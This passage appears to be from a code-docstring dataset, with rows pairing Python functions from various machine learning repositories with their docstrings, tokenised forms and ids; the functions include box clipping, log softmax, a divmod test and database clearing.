] | def make_random_policy_cvrp() -> RandomPolicy:
return masked_categorical_random | ['def', 'make_random_policy_cvrp()', '->', 'RandomPolicy:', 'return', 'masked_categorical_random'] | 594,612 |
sunishsheth2009/ChatterBot | nodes.py | Const.from_untrusted | from_untrusted | Return a const object if the value is representable as constant value in the generated code, otherwise it will raise an `Impossible` exception. | [
"Return",
"a",
"const",
"object",
"if",
"the",
"value",
"is",
"representable",
"as",
"constant",
"value",
"in",
"the",
"generated",
"code,",
"otherwise",
"it",
"will",
"raise",
"an",
"`Impossible`",
"exception."
] | def from_untrusted(cls, value, lineno=None, environment=None):
from .compiler import has_safe_repr
if not has_safe_repr(value):
raise Impossible()
return cls(value, lineno=lineno, environment=environment) | ['def', 'from_untrusted(cls,', 'value,', 'lineno=None,', 'environment=None):', 'from', '.compiler', 'import', 'has_safe_repr', 'if', 'not', 'has_safe_repr(value):', 'raise', 'Impossible()', 'return', 'cls(value,', 'lineno=lineno,', 'environment=environment)'] | 479,236 |
bytedance/ParaGen | dbdict.py | DbDict.clear | clear | Clear the database for all key-value pairs, and free up unsused disk space. | [
"Clear",
"the",
"database",
"for",
"all",
"key-value",
"pairs,",
"and",
"free",
"up",
"unsused",
"disk",
"space."
] | def clear(self):
self.con.execute('drop table data')
self.vacuum()
self._create_table() | ['def', 'clear(self):', "self.con.execute('drop", 'table', "data')", 'self.vacuum()', 'self._create_table()'] | 779,361 |
zhangyp15/MonoFlex | boxes.py | Boxes.clip | clip | Clip (in place) the boxes by limiting x coordinates to the range [0, width] and y coordinates to the range [0, height]. | [
"Clip",
"(in",
"place)",
"the",
"boxes",
"by",
"limiting",
"x",
"coordinates",
"to",
"the",
"range",
"[0,",
"width]",
"and",
"y",
"coordinates",
"to",
"the",
"range",
"[0,",
"height]."
] | def clip(self, box_size: Tuple[int, int]) -> None:
assert torch.isfinite(self.tensor).all(), 'Box tensor contains infinite or NaN!'
(h, w) = box_size
self.tensor[:, 0].clamp_(min=0, max=w)
self.tensor[:, 1].clamp_(min=0, max=h)
self.tensor[:, 2].clamp_(min=0, max=w)
self.tensor[:, 3].clamp_(min=... | ['def', 'clip(self,', 'box_size:', 'Tuple[int,', 'int])', '->', 'None:', 'assert', 'torch.isfinite(self.tensor).all(),', "'Box", 'tensor', 'contains', 'infinite', 'or', "NaN!'", '(h,', 'w)', '=', 'box_size', 'self.tensor[:,', '0].clamp_(min=0,', 'max=w)', 'self.tensor[:,', '1].clamp_(min=0,', 'max=h)', 'self.tensor[:,'... | 655,172 |
Eric3911/OpenAGI | gpu_rnnt.py | GPURNNT.log_softmax | log_softmax | Computes the log softmax denominator of the input activation tensor and stores the result in denom. | [
"Computes",
"the",
"log",
"softmax",
"denominator",
"of",
"the",
"input",
"activation",
"tensor",
"and",
"stores",
"the",
"result",
"in",
"denom."
] | def log_softmax(self, acts: torch.Tensor, denom: torch.Tensor):
reduce.reduce_max(acts, denom, rows=self.alphabet_size_, cols=self.minibatch_ * self.maxT_ * self.maxU_, minus=False, stream=self.stream_)
reduce.reduce_exp(acts, denom, rows=self.alphabet_size_, cols=self.minibatch_ * self.maxT_ * self.maxU_, minu... | ['def', 'log_softmax(self,', 'acts:', 'torch.Tensor,', 'denom:', 'torch.Tensor):', 'reduce.reduce_max(acts,', 'denom,', 'rows=self.alphabet_size_,', 'cols=self.minibatch_', '*', 'self.maxT_', '*', 'self.maxU_,', 'minus=False,', 'stream=self.stream_)', 'reduce.reduce_exp(acts,', 'denom,', 'rows=self.alphabet_size_,', 'c... | 272,714 |
ratschlab/dpsom | DPSOM_model.py | DPSOM.p | p | Placeholder for the target distribution. | [
"Placeholder",
"for",
"the",
"target",
"distribution."
] | def p(self):
p = tf.placeholder(tf.float32, shape=(None, self.som_dim[0] * self.som_dim[1]))
return p | ['def', 'p(self):', 'p', '=', 'tf.placeholder(tf.float32,', 'shape=(None,', 'self.som_dim[0]', '*', 'self.som_dim[1]))', 'return', 'p'] | 166,950 |
viko-3/DiffSeqMol | join.py | Joinable.join_process_group | join_process_group | Returns the process group for the collective communications needed by the join context manager itself. | [
"Returns",
"the",
"process",
"group",
"for",
"the",
"collective",
"communications",
"needed",
"by",
"the",
"join",
"context",
"manager",
"itself."
] | def join_process_group(self) -> Any:
... | ['def', 'join_process_group(self)', '->', 'Any:', '...'] | 551,370 |
PIYUSH0812/Artificial-Intelligence-Deep-Learning-Machine-Learning-Tutorials | wmt_utils.py | sentence_to_token_ids | sentence_to_token_ids | Convert a string to list of integers representing token-ids, tab=0. | [
"Convert",
"a",
"string",
"to",
"list",
"of",
"integers",
"representing",
"token-ids,",
"tab=0."
] | def sentence_to_token_ids(sentence, vocabulary, tokenizer=None, normalize_digits=old_style):
tab_parts = sentence.strip().split('\t')
toks = [sentence_to_token_ids_raw(t, vocabulary, tokenizer, normalize_digits) for t in tab_parts]
res = []
for t in toks:
res.extend(t)
res.append(0)
... | ['def', 'sentence_to_token_ids(sentence,', 'vocabulary,', 'tokenizer=None,', 'normalize_digits=old_style):', 'tab_parts', '=', "sentence.strip().split('\\t')", 'toks', '=', '[sentence_to_token_ids_raw(t,', 'vocabulary,', 'tokenizer,', 'normalize_digits)', 'for', 't', 'in', 'tab_parts]', 'res', '=', '[]', 'for', 't', 'i... | 56,520 |
muhanzhang/D-VAE | test_basic.py | test_divmod | test_divmod | Confirm that divmod is equivalent to the python version. | [
"Confirm",
"that",
"divmod",
"is",
"equivalent",
"to",
"the",
"python",
"version."
] | def test_divmod():
(x, y) = fscalars('xy')
(d, r) = divmod(x, y)
fn = gof.DualLinker().accept(gof.FunctionGraph([x, y], [d, r])).make_function()
for (a, b) in ((0, 1), (1, 1), (0, -1), (1, -1), (-1, -1), (1, 2), (-1, 2), (1, -2), (-1, -2), (5, 3), (-5, 3), (5, -3), (-5, -3)):
(d_v, r_v) = fn(a, ... | ['def', 'test_divmod():', '(x,', 'y)', '=', "fscalars('xy')", '(d,', 'r)', '=', 'divmod(x,', 'y)', 'fn', '=', 'gof.DualLinker().accept(gof.FunctionGraph([x,', 'y],', '[d,', 'r])).make_function()', 'for', '(a,', 'b)', 'in', '((0,', '1),', '(1,', '1),', '(0,', '-1),', '(1,', '-1),', '(-1,', '-1),', '(1,', '2),', '(-1,', ... | 525,788 |
intra2net/guibot | fileresolver.py | FileResolver.clear | clear | Clear all currently accessible paths. | [
"Clear",
"all",
"currently",
"accessible",
"paths."
] | def clear(self):
del FileResolver._target_paths[:] | ['def', 'clear(self):', 'del', 'FileResolver._target_paths[:]'] | 572,423 |
ilya16/MultINN | rnn.py | RNN.learn_zero_state | learn_zero_state | bool: Whether the zero state is learned or not. | [
"bool:",
"Whether",
"the",
"zero",
"state",
"is",
"learned",
"or",
"not."
] | def learn_zero_state(self):
return self._learn_zero_state | ['def', 'learn_zero_state(self):', 'return', 'self._learn_zero_state'] | 644,209 |
enuguru/artificial_intelligence_and_machine_learning | support.py | NullTranslations.ldgettext | ldgettext | Like ``lgettext()``, but look the message up in the specified domain. | [
"Like",
"``lgettext()``,",
"but",
"look",
"the",
"message",
"up",
"in",
"the",
"specified",
"domain."
] | def ldgettext(self, domain, message):
return self._domains.get(domain, self).lgettext(message) | ['def', 'ldgettext(self,', 'domain,', 'message):', 'return', 'self._domains.get(domain,', 'self).lgettext(message)'] | 147,339 |
opendilab/DI-star | renderer_human.py | RendererHuman.select_warp_gates | select_warp_gates | Select all warp gates. | [
"Select",
"all",
"warp",
"gates."
] | def select_warp_gates(self, shift):
action = sc_pb.Action()
action.action_ui.select_warp_gates.selection_add = shift
return action | ['def', 'select_warp_gates(self,', 'shift):', 'action', '=', 'sc_pb.Action()', 'action.action_ui.select_warp_gates.selection_add', '=', 'shift', 'return', 'action'] | 184,781 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.